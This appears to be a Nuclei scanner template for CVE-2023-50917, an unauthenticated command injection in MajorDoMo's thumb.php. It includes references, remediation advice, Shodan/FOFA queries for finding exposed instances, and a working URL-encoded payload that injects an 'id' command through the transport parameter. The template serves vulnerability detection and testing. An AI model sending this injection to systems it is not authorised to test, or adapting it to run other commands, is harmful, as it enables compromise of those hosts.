id: CVE-2023-50917 info: name: MajorDoMo thumb.php - OS Command Injection author: DhiyaneshDK severity: critical description: | MajorDoMo (aka Major Domestic Module) before 0662e5e allows command execution via thumb.php shell metacharacters. NOTE: this is unrelated to the Majordomo mailing-list manager. impact: | Unauthenticated attackers can execute arbitrary OS commands via shell metacharacters in the thumb.php transport parameter, potentially compromising the entire system. remediation: | Update MajorDoMo to a version newer than commit 0662e5e which addresses the command injection vulnerability. reference: - http://packetstormsecurity.com/files/176273/MajorDoMo-Remote-Code-Execution.html - http://seclists.org/fulldisclosure/2023/Dec/19 - https://github.com/sergejey/majordomo/commit/0662e5ebfb133445ff6154b69c61019357092178 - https://github.com/sergejey/majordomo/commit/3ec3ffb863ea3c2661ab27d398776c551f4daaac - https://nvd.nist.gov/vuln/detail/CVE-2023-50917 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-50917 cwe-id: CWE-77 epss-score: 0.92637 epss-percentile: 0.9976 cpe: cpe:2.3:a:mjdm:majordomo:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: mjdm product: majordomo shodan-query: http.favicon.hash:1903390397 fofa-query: - app="MajordomoSL" - app="majordomosl" - icon_hash=1903390397 tags: packetstorm,seclists,cve,cve2023,majordomo,rce,os,mjdm,vkev,vuln http: - method: GET path: - "{{BaseURL}}/modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B" matchers-condition: and matchers: - type: regex part: body regex: - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)" - 'rtsp_transport' condition: and - type: status status: - 200 # digest: 4a0a00473045022100acb896f785976b0d4cc04b9de0d421ad575378db4ec7c69f307d17fab5d0ab140220616340588d6824c5211dc099edd255ec5d1c93132df9c23f2e6f1cd579086f39:922c64590222798bb761d5b6d8e72950